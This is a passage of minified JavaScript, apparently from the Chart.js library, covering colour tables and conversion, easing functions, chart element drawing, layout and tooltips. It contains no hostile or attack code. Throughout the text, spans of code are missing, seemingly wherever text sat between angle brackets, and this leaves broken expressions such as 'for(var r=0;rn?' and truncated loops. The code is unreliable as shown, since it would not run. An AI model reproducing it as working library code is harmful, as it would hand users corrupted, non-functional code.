,darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},u={getRgba:d,getHsla:h,getRgb:function(t){var e=d(t);return e&&e.slice(0,3)},getHsl:function(t){var e=h(t);return e&&e.slice(0,3)},getHwb:c,getAlpha:function(t){var e=d(t);if(e)return e[3];if(e=h(t))return e[3];if(e=c(t))return e[3]},hexString:function(t,e){e=void 0!==e&&3===t.length?e:t[3];return"#"+v(t[0])+v(t[1])+v(t[2])+(e>=0&&e<1?v(Math.round(255*e)):"")},rgbString:function(t,e){if(e<1||t[3]&&t[3]<1)return f(t,e);return"rgb("+t[0]+", "+t[1]+", "+t[2]+")"},rgbaString:f,percentString:function(t,e){if(e<1||t[3]&&t[3]<1)return g(t,e);var n=Math.round(t[0]/255*100),i=Math.round(t[1]/255*100),a=Math.round(t[2]/255*100);return"rgb("+n+"%, "+i+"%, "+a+"%)"},percentaString:g,hslString:function(t,e){if(e<1||t[3]&&t[3]<1)return p(t,e);return"hsl("+t[0]+", "+t[1]+"%, "+t[2]+"%)"},hslaString:p,hwbString:function(t,e){void 0===e&&(e=void 0!==t[3]?t[3]:1);return"hwb("+t[0]+", "+t[1]+"%, "+t[2]+"%"+(void 0!==e&&1!==e?", "+e:"")+")"},keyword:function(t){return b[t.slice(0,3)]}};function d(t){if(t){var e=[0,0,0],n=1,i=t.match(/^#([a-fA-F0-9]{3,4})$/i),a="";if(i){a=(i=i[1])[3];for(var r=0;rn?(e+.05)/(n+.05):(n+.05)/(e+.05)},level:function(t){var e=this.contrast(t);return e>=7.1?"AAA":e>=4.5?"AA":""},dark:function(){var t=this.values.rgb;return(299*t[0]+587*t[1]+114*t[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var t=[],e=0;e<3;e++)t[e]=255-this.values.rgb[e];return this.setValues("rgb",t),this},lighten:function(t){var e=this.values.hsl;return e[2]+=e[2]*t,this.setValues("hsl",e),this},darken:function(t){var e=this.values.hsl;return e[2]-=e[2]*t,this.setValues("hsl",e),this},saturate:function(t){var e=this.values.hsl;return e[1]+=e[1]*t,this.setValues("hsl",e),this},desaturate:function(t){var e=this.values.hsl;return e[1]-=e[1]*t,this.setValues("hsl",e),this},whiten:function(t){var e=this.values.hwb;return e[1]+=e[1]*t,this.setValues("hwb",e),this},blacken:function(t){var e=this.values.hwb;return e[2]+=e[2]*t,this.setValues("hwb",e),this},greyscale:function(){var t=this.values.rgb,e=.3*t[0]+.59*t[1]+.11*t[2];return this.setValues("rgb",[e,e,e]),this},clearer:function(t){var e=this.values.alpha;return this.setValues("alpha",e-e*t),this},opaquer:function(t){var e=this.values.alpha;return this.setValues("alpha",e+e*t),this},rotate:function(t){var e=this.values.hsl,n=(e[0]+t)%360;return e[0]=n<0?360+n:n,this.setValues("hsl",e),this},mix:function(t,e){var n=t,i=void 0===e?.5:e,a=2*i-1,r=this.alpha()-n.alpha(),o=((a*r==-1?a:(a+r)/(1+a*r))+1)/2,s=1-o;return this.rgb(o*this.red()+s*n.red(),o*this.green()+s*n.green(),o*this.blue()+s*n.blue()).alpha(this.alpha()*i+n.alpha()*(1-i))},toJSON:function(){return this.rgb()},clone:function(){var t,e,n=new y,i=this.values,a=n.values;for(var r in i)i.hasOwnProperty(r)&&(t=i[r],"[object Array]"===(e={}.toString.call(t))?a[r]=t.slice(0):"[object Number]"===e?a[r]=t:console.error("unexpected color value:",t));return n}},y.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},y.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},y.prototype.getValues=function(t){for(var e=this.values,n={},i=0;i=0;a--)e.call(n,t[a],a);else for(a=0;a=1?t:-(Math.sqrt(1-t*t)-1)},easeOutCirc:function(t){return Math.sqrt(1-(t-=1)*t)},easeInOutCirc:function(t){return(t/=.5)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},easeInElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),-i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n))},easeOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),i*Math.pow(2,-10*t)*Math.sin((t-e)*(2*Math.PI)/n)+1)},easeInOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:2==(t/=.5)?1:(n||(n=.45),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),t<1?i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*-.5:i*Math.pow(2,-10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*.5+1)},easeInBack:function(t){var e=1.70158;return t*t*((e+1)*t-e)},easeOutBack:function(t){var e=1.70158;return(t-=1)*t*((e+1)*t+e)+1},easeInOutBack:function(t){var e=1.70158;return(t/=.5)<1?t*t*((1+(e*=1.525))*t-e)*.5:.5*((t-=2)*t*((1+(e*=1.525))*t+e)+2)},easeInBounce:function(t){return 1-S.easeOutBounce(1-t)},easeOutBounce:function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},easeInOutBounce:function(t){return t<.5?.5*S.easeInBounce(2*t):.5*S.easeOutBounce(2*t-1)+.5}},C={effects:S};M.easingEffects=S;var P=Math.PI,A=P/180,D=2*P,T=P/2,I=P/4,F=2*P/3,L={clear:function(t){t.ctx.clearRect(0,0,t.width,t.height)},roundedRect:function(t,e,n,i,a,r){if(r){var o=Math.min(r,a/2,i/2),s=e+o,l=n+o,u=e+i-o,d=n+a-o;t.moveTo(e,l),se.left-1e-6&&t.xe.top-1e-6&&t.y0&&this.requestAnimationFrame()},advance:function(){for(var t,e,n,i,a=this.animations,r=0;r=n?(V.callback(t.onAnimationComplete,[t],e),e.animating=!1,a.splice(r,1)):++r}},J=V.options.resolve,Q=["push","pop","shift","splice","unshift"];function tt(t,e){var n=t._chartjs;if(n){var i=n.listeners,a=i.indexOf(e);-1!==a&&i.splice(a,1),i.length>0||(Q.forEach((function(e){delete t[e]})),delete t._chartjs)}}var et=function(t,e){this.initialize(t,e)};V.extend(et.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(t,e){var n=this;n.chart=t,n.index=e,n.linkScales(),n.addElements(),n._type=n.getMeta().type},updateIndex:function(t){this.index=t},linkScales:function(){var t=this.getMeta(),e=this.chart,n=e.scales,i=this.getDataset(),a=e.options.scales;null!==t.xAxisID&&t.xAxisID in n&&!i.xAxisID||(t.xAxisID=i.xAxisID||a.xAxes[0].id),null!==t.yAxisID&&t.yAxisID in n&&!i.yAxisID||(t.yAxisID=i.yAxisID||a.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(t){return this.chart.scales[t]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&tt(this._data,this)},createMetaDataset:function(){var t=this.datasetElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(t){var e=this.dataElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index,_index:t})},addElements:function(){var t,e,n=this.getMeta(),i=this.getDataset().data||[],a=n.data;for(t=0,e=i.length;tn&&this.insertElements(n,i-n)},insertElements:function(t,e){for(var n=0;na?(r=a/e.innerRadius,t.arc(o,s,e.innerRadius-a,i+r,n-r,!0)):t.arc(o,s,a,i+Math.PI/2,n-Math.PI/2),t.closePath(),t.clip()}function rt(t,e,n){var i="inner"===e.borderAlign;i?(t.lineWidth=2*e.borderWidth,t.lineJoin="round"):(t.lineWidth=e.borderWidth,t.lineJoin="bevel"),n.fullCircles&&function(t,e,n,i){var a,r=n.endAngle;for(i&&(n.endAngle=n.startAngle+it,at(t,n),n.endAngle=r,n.endAngle===n.startAngle&&n.fullCircles&&(n.endAngle+=it,n.fullCircles--)),t.beginPath(),t.arc(n.x,n.y,n.innerRadius,n.startAngle+it,n.startAngle,!0),a=0;as;)a-=it;for(;a=o&&a<=s,u=r>=n.innerRadius&&r<=n.outerRadius;return l&&u}return!1},getCenterPoint:function(){var t=this._view,e=(t.startAngle+t.endAngle)/2,n=(t.innerRadius+t.outerRadius)/2;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},getArea:function(){var t=this._view;return Math.PI*((t.endAngle-t.startAngle)/(2*Math.PI))*(Math.pow(t.outerRadius,2)-Math.pow(t.innerRadius,2))},tooltipPosition:function(){var t=this._view,e=t.startAngle+(t.endAngle-t.startAngle)/2,n=(t.outerRadius-t.innerRadius)/2+t.innerRadius;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},draw:function(){var t,e=this._chart.ctx,n=this._view,i="inner"===n.borderAlign?.33:0,a={x:n.x,y:n.y,innerRadius:n.innerRadius,outerRadius:Math.max(n.outerRadius-i,0),pixelMargin:i,startAngle:n.startAngle,endAngle:n.endAngle,fullCircles:Math.floor(n.circumference/it)};if(e.save(),e.fillStyle=n.backgroundColor,e.strokeStyle=n.borderColor,a.fullCircles){for(a.endAngle=a.startAngle+it,e.beginPath(),e.arc(a.x,a.y,a.outerRadius,a.startAngle,a.endAngle),e.arc(a.x,a.y,a.innerRadius,a.endAngle,a.startAngle,!0),e.closePath(),t=0;tt.x&&(e=vt(e,"left","right")):t.basen?n:i,r:l.right||a<0?0:a>e?e:a,b:l.bottom||r<0?0:r>n?n:r,l:l.left||o<0?0:o>e?e:o}}function xt(t,e,n){var i=null===e,a=null===n,r=!(!t||i&&a)&&mt(t);return r&&(i||e>=r.left&&e<=r.right)&&(a||n>=r.top&&n<=r.bottom)}z._set("global",{elements:{rectangle:{backgroundColor:gt,borderColor:gt,borderSkipped:"bottom",borderWidth:0}}});var yt=X.extend({_type:"rectangle",draw:function(){var t=this._chart.ctx,e=this._view,n=function(t){var e=mt(t),n=e.right-e.left,i=e.bottom-e.top,a=bt(t,n/2,i/2);return{outer:{x:e.left,y:e.top,w:n,h:i},inner:{x:e.left+a.l,y:e.top+a.t,w:n-a.l-a.r,h:i-a.t-a.b}}}(e),i=n.outer,a=n.inner;t.fillStyle=e.backgroundColor,t.fillRect(i.x,i.y,i.w,i.h),i.w===a.w&&i.h===a.h||(t.save(),t.beginPath(),t.rect(i.x,i.y,i.w,i.h),t.clip(),t.fillStyle=e.borderColor,t.rect(a.x,a.y,a.w,a.h),t.fill("evenodd"),t.restore())},height:function(){var t=this._view;return t.base-t.y},inRange:function(t,e){return xt(this._view,t,e)},inLabelRange:function(t,e){var n=this._view;return pt(n)?xt(n,t,null):xt(n,null,e)},inXRange:function(t){return xt(this._view,t,null)},inYRange:function(t){return xt(this._view,null,t)},getCenterPoint:function(){var t,e,n=this._view;return pt(n)?(t=n.x,e=(n.y+n.base)/2):(t=(n.x+n.base)/2,e=n.y),{x:t,y:e}},getArea:function(){var t=this._view;return pt(t)?t.width*Math.abs(t.y-t.base):t.height*Math.abs(t.x-t.base)},tooltipPosition:function(){var t=this._view;return{x:t.x,y:t.y}}}),_t={},kt=ot,wt=ut,Mt=ft,St=yt;_t.Arc=kt,_t.Line=wt,_t.Point=Mt,_t.Rectangle=St;var Ct=V._deprecated,Pt=V.valueOrDefault;function At(t,e,n){var i,a,r=n.barThickness,o=e.stackCount,s=e.pixels[t],l=V.isNullOrUndef(r)?function(t,e){var n,i,a,r,o=t._length;for(a=1,r=e.length;a0?Math.min(o,Math.abs(i-n)):o,n=i;return o}(e.scale,e.pixels):-1;return V.isNullOrUndef(r)?(i=l*n.categoryPercentage,a=n.barPercentage):(i=r*o,a=1),{chunk:i/o,ratio:a,start:s-i/2}}z._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),z._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var Dt=nt.extend({dataElementType:_t.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var t,e,n=this;nt.prototype.initialize.apply(n,arguments),(t=n.getMeta()).stack=n.getDataset().stack,t.bar=!0,e=n._getIndexScale().options,Ct("bar chart",e.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),Ct("bar chart",e.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),Ct("bar chart",e.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),Ct("bar chart",n._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),Ct("bar chart",e.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(t){var e,n,i=this.getMeta().data;for(this._ruler=this.getRuler(),e=0,n=i.length;e=0&&p.min>=0?p.min:p.max,y=void 0===p.start?p.end:p.max>=0&&p.min>=0?p.max-p.min:p.min-p.max,_=g.length;if(v||void 0===v&&void 0!==b)for(i=0;i<_&&(a=g[i]).index!==t;++i)a.stack===b&&(r=void 0===(u=h._parseValue(f[a.index].data[e])).start?u.end:u.min>=0&&u.max>=0?u.max:u.min,(p.min<0&&r<0||p.max>=0&&r>0)&&(x+=r));return o=h.getPixelForValue(x),l=(s=h.getPixelForValue(x+y))-o,void 0!==m&&Math.abs(l)=0&&!c||y<0&&c?o-m:o+m),{size:l,base:o,head:s,center:s+l/2}},calculateBarIndexPixels:function(t,e,n,i){var a="flex"===i.barThickness?function(t,e,n){var i,a=e.pixels,r=a[t],o=t>0?a[t-1]:null,s=t=Ot?-Rt:b<-Ot?Rt:0)+m,y=Math.cos(b),_=Math.sin(b),k=Math.cos(x),w=Math.sin(x),M=b<=0&&x>=0||x>=Rt,S=b<=zt&&x>=zt||x>=Rt+zt,C=b<=-zt&&x>=-zt||x>=Ot+zt,P=b===-Ot||x>=Ot?-1:Math.min(y,y*p,k,k*p),A=C?-1:Math.min(_,_*p,w,w*p),D=M?1:Math.max(y,y*p,k,k*p),T=S?1:Math.max(_,_*p,w,w*p);u=(D-P)/2,d=(T-A)/2,h=-(D+P)/2,c=-(T+A)/2}for(i=0,a=g.length;i0&&!isNaN(t)?Rt*(Math.abs(t)/e):0},getMaxBorderWidth:function(t){var e,n,i,a,r,o,s,l,u=0,d=this.chart;if(!t)for(e=0,n=d.data.datasets.length;e(u=s>u?s:u)?l:u);return u},setHoverStyle:function(t){var e=t._model,n=t._options,i=V.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth},e.backgroundColor=Lt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=Lt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=Lt(n.hoverBorderWidth,n.borderWidth)},_getRingWeightOffset:function(t){for(var e=0,n=0;n0&&Vt(l[t-1]._model,s)&&(n.controlPointPreviousX=u(n.controlPointPreviousX,s.left,s.right),n.controlPointPreviousY=u(n.controlPointPreviousY,s.top,s.bottom)),t0&&(r=t.getDatasetMeta(r[0]._datasetIndex).data),r},"x-axis":function(t,e){return ie(t,e,{intersect:!1})},point:function(t,e){return te(t,Jt(e,t))},nearest:function(t,e,n){var i=Jt(e,t);n.axis=n.axis||"xy";var a=ne(n.axis);return ee(t,i,n.intersect,a)},x:function(t,e,n){var i=Jt(e,t),a=[],r=!1;return Qt(t,(function(t){t.inXRange(i.x)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a},y:function(t,e,n){var i=Jt(e,t),a=[],r=!1;return Qt(t,(function(t){t.inYRange(i.y)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a}}},re=V.extend;function oe(t,e){return V.where(t,(function(t){return t.pos===e}))}function se(t,e){return t.sort((function(t,n){var i=e?n:t,a=e?t:n;return i.weight===a.weight?i.index-a.index:i.weight-a.weight}))}function le(t,e,n,i){return Math.max(t[n],e[n])+Math.max(t[i],e[i])}function ue(t,e,n){var i,a,r=n.box,o=t.maxPadding;if(n.size&&(t[n.pos]-=n.size),n.size=n.horizontal?r.height:r.width,t[n.pos]+=n.size,r.getPadding){var s=r.getPadding();o.top=Math.max(o.top,s.top),o.left=Math.max(o.left,s.left),o.bottom=Math.max(o.bottom,s.bottom),o.right=Math.max(o.right,s.right)}if(i=e.outerWidth-le(o,t,"left","right"),a=e.outerHeight-le(o,t,"top","bottom"),i!==t.w||a!==t.h)return t.w=i,t.h=a,n.horizontal?i!==t.w:a!==t.h}function de(t,e){var n=e.maxPadding;function i(t){var i={left:0,top:0,right:0,bottom:0};return t.forEach((function(t){i[t]=Math.max(e[t],n[t])})),i}return i(t?["left","right"]:["top","bottom"])}function he(t,e,n){var i,a,r,o,s,l,u=[];for(i=0,a=t.length;idiv{position:absolute;width:1000000px;height:1000000px;left:0;top:0}.chartjs-size-monitor-shrink>div{position:absolute;width:200%;height:200%;left:0;top:0}"}))&&fe.default||fe,me="$chartjs",ve="chartjs-size-monitor",be="chartjs-render-monitor",xe="chartjs-render-animation",ye=["animationstart","webkitAnimationStart"],_e={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function ke(t,e){var n=V.getStyle(t,e),i=n&&n.match(/^(\d+)(\.\d+)?px$/);return i?Number(i[1]):void 0}var we=!!function(){var t=!1;try{var e=Object.defineProperty({},"passive",{get:function(){t=!0}});window.addEventListener("e",null,e)}catch(t){}return t}()&&{passive:!0};function Me(t,e,n){t.addEventListener(e,n,we)}function Se(t,e,n){t.removeEventListener(e,n,we)}function Ce(t,e,n,i,a){return{type:t,chart:e,native:a||null,x:void 0!==n?n:null,y:void 0!==i?i:null}}function Pe(t){var e=document.createElement("div");return e.className=t||"",e}function Ae(t,e,n){var i,a,r,o,s=t[me]||(t[me]={}),l=s.resizer=function(t){var e=Pe(ve),n=Pe(ve+"-expand"),i=Pe(ve+"-shrink");n.appendChild(Pe()),i.appendChild(Pe()),e.appendChild(n),e.appendChild(i),e._reset=function(){n.scrollLeft=1e6,n.scrollTop=1e6,i.scrollLeft=1e6,i.scrollTop=1e6};var a=function(){e._reset(),t()};return Me(n,"scroll",a.bind(n,"expand")),Me(i,"scroll",a.bind(i,"shrink")),e}((i=function(){if(s.resizer){var i=n.options.maintainAspectRatio&&t.parentNode,a=i?i.clientWidth:0;e(Ce("resize",n)),i&&i.clientWidth0){var r=t[0];r.label?n=r.label:r.xLabel?n=r.xLabel:a>0&&r.index-1?t.split("\n"):t}function We(t){var e=z.global;return{xPadding:t.xPadding,yPadding:t.yPadding,xAlign:t.xAlign,yAlign:t.yAlign,rtl:t.rtl,textDirection:t.textDirection,bodyFontColor:t.bodyFontColor,_bodyFontFamily:Re(t.bodyFontFamily,e.defaultFontFamily),_bodyFontStyle:Re(t.bodyFontStyle,e.defaultFontStyle),_bodyAlign:t.bodyAlign,bodyFontSize:Re(t.bodyFontSize,e.defaultFontSize),bodySpacing:t.bodySpacing,titleFontColor:t.titleFontColor,_titleFontFamily:Re(t.titleFontFamily,e.defaultFontFamily),_titleFontStyle:Re(t.titleFontStyle,e.defaultFontStyle),titleFontSize:Re(t.titleFontSize,e.defaultFontSize),_titleAlign:t.titleAlign,titleSpacing:t.titleSpacing,titleMarginBottom:t.titleMarginBottom,footerFontColor:t.footerFontColor,_footerFontFamily:Re(t.footerFontFamily,e.defaultFontFamily),_footerFontStyle:Re(t.footerFontStyle,e.defaultFontStyle),footerFontSize:Re(t.footerFontSize,e.defaultFontSize),_footerAlign:t.footerAlign,footerSpacing:t.footerSpacing,footerMarginTop:t.footerMarginTop,caretSize:t.caretSize,cornerRadius:t.cornerRadius,backgroundColor:t.backgroundColor,opacity:0,legendColorBackground:t.multiKeyBackground,displayColors:t.displayColors,borderColor:t.borderColor,borderWidth:t.borderWidth}}function Ve(t,e){return"center"===e?t.x+t.width/2:"right"===e?t.x+t.width-t.xPadding:t.x+t.xPadding}function He(t){return Be([],Ee(t))}var je=X.extend({initialize:function(){this._model=We(this._options),this._lastActive=[]},getTitle:function(){var t=this,e=t._options,n=e.callbacks,i=n.beforeTitle.apply(t,arguments),a=n.title.apply(t,arguments),r=n.afterTitle.apply(t,arguments),o=[];return o=Be(o,Ee(i)),o=Be(o,Ee(a)),o=Be(o,Ee(r))},getBeforeBody:function(){return He(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(t,e){var n=this,i=n._options.callbacks,a=[];return V.each(t,(function(t){var r={before:[],lines:[],after:[]};Be(r.before,Ee(i.beforeLabel.call(n,t,e))),Be(r.lines,i.label.call(n,t,e)),Be(r.after,Ee(i.afterLabel.call(n,t,e))),a.push(r)})),a},getAfterBody:function(){return He(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var t=this,e=t._options.callbacks,n=e.beforeFooter.apply(t,arguments),i=e.footer.apply(t,arguments),a=e.afterFooter.apply(t,arguments),r=[];return r=Be(r,Ee(n)),r=Be(r,Ee(i)),r=Be(r,Ee(a))},update:function(t){var e,n,i,a,r,o,s,l,u,d,h=this,c=h._options,f=h._model,g=h._model=We(c),p=h._active,m=h._data,v={xAlign:f.xAlign,yAlign:f.yAlign},b={x:f.x,y:f.y},x={width:f.width,height:f.height},y={x:f.caretX,y:f.caretY};if(p.length){g.opacity=1;var _=[],k=[];y=Ne[c.position].call(h,p,h._eventPosition);var w=[];for(e=0,n=p.length;ei.width&&(a=i.width-e.width),a<0&&(a=0)),"top"===d?r+=h:r-="bottom"===d?e.height+h:e.height/2,"center"===d?"left"===u?a+=h:"right"===u&&(a-=h):"left"===u?a-=c:"right"===u&&(a+=c),{x:a,y:r}}(g,x,v=function(t,e){var n,i,a,r,o,s=t._model,l=t._chart,u=t._chart.chartArea,d="center",h="center";s.yl.height-e.height&&(h="bottom");var c=(u.left+u.right)/2,f=(u.top+u.bottom)/2;"center"===h?(n=function(t){return t<=c},i=function(t){return t>c}):(n=function(t){return t<=e.width/2},i=function(t){return t>=l.width-e.width/2}),a=function(t){return t+e.width+s.caretSize+s.caretPadding>l.width},r=function(t){return t-e.width-s.caretSize-s.caretPadding<0},o=function(t){return t<=f?"top":"bottom"},n(s.x)?(d="left",a(s.x)&&(d="center",h=o(s.y))):i(s.x)&&(d="right",r(s.x)&&(d="center",h=o(s.y)));var g=t._options;return{xAlign:g.xAlign?g.xAlign:d,yAlign:g.yAlign?g.yAlign:h}}(this,x),h._chart)}else g.opacity=0;return g.xAlign=v.xAlign,g.yAlign=v.yAlign,g.x=b.x,g.y=b.y,g.width=x.width,g.height=x.height,g.caretX=y.x,g.caretY=y.y,h._model=g,t&&c.custom&&c.custom.call(h,g),h},drawCaret:function(t,e){var n=this._chart.ctx,i=this._view,a=this.getCaretPosition(t,e,i);n.lineTo(a.x1,a.y1),n.lineTo(a.x2,a.y2),n.lineTo(a.x3,a.y3)},getCaretPosition:function(t,e,n){var i,a,r,o,s,l,u=n.caretSize,d=n.cornerRadius,h=n.xAlign,c=n.yAlign,f=t.x,g=t.y,p=e.width,m=e.height;if("center"===c)s=g+m/2,"left"===h?(a=(i=f)-u,r=i,o=s+u,l=s-u):(a=(i=f+p)+u,r=i,o=s-u,l=s+u);else if("left"===h?(i=(a=f+d+u)-u,r=a+u):"right"===h?(i=(a=f+p-d-u)-u,r=a+u):(i=(a=n.caretX)-u,r=a+u),"top"===c)s=(o=g)-u,l=o;else{s=(o=g+m)+u,l=o;var v=r;r=i,i=v}return{x1:i,x2:a,x3:r,y1:o,y2:s,y3:l}},drawTitle:function(t,e,n){var i,a,r,o=e.title,s=o.length;if(s){var l=ze(e.rtl,e.x,e.width);for(t.x=Ve(e,e._titleAlign),n.textAlign=l.textAlign(e._titleAlign),n.textBaseline="middle",i=e.titleFontSize,a=e.titleSpacing,n.fillStyle=e.titleFontColor,n.font=V.fontString(i,e._titleFontStyle,e._titleFontFamily),r=0;r0&&n.stroke()},draw:function(){var t=this._chart.ctx,e=this._view;if(0!==e.opacity){var n={width:e.width,height:e.height},i={x:e.x,y:e.y},a=Math.abs(e.opacity<.001)?0:e.opacity,r=e.title.length||e.beforeBody.length||e.body.length||e.afterBody.length||e.footer.length;this._options.enabled&&r&&(t.save(),t.globalAlpha=a,this.drawBackground(i,e,t,n),i.y+=e.yPadding,V.rtl.overrideTextDirection(t,e.textDirection),this.drawTitle(i,e,t),this.drawBody(i,e,t),this.drawFooter(i,e,t),V.rtl.restoreTextDirection(t,e.textDirection),t.restore())}},handleEvent:function(t){var e,n=this,i=n._options;return n._lastActive=n._lastActive||[],"mouseout"===t.type?n._active=[]:(n._active=n._chart.getElementsAtEventForMode(t,i.mode,i),i.reverse&&n._active.reverse()),(e=!V.arrayEquals(n._active,n._lastActive))&&(n._lastActive=n._active,(i.enabled||i.custom)&&(n._eventPosition={x:t.x,y:t.y},n.update(!0),n.pivot())),e}}),qe=Ne,Ue=je;Ue.positioners=qe;var Ye=V.valueOrDefault;function Ge(){return V.merge({},[].slice.call(arguments),{merger:function(t,e,n,i){if("xAxes"===t||"yAxes"===t){var a,r,o,s=n[t].length;for(e[t]||(e[t]=[]),a=0;a=e[t].length&&e[t].push({}),!e[t][a].type||o.type&&o.type!==e[t][a].type?V.merge(e[t][a],[Oe.getScaleDefaults(r),o]):V.merge(e[t][a],o)}else V._merger(t,e,n,i)}})}function Xe(){return V.merge({},[].slice.call(arguments),{merger:function(t,e,n,i){var a=e[t]||{},r=n[t];"scales"===t?e[t]=Ge(a,r):"scale"===t?e[t]=V.merge(a,[Oe.getScaleDefaults(r.type),r]):V._merger(t,e,n,i)}})}function Ke(t){var 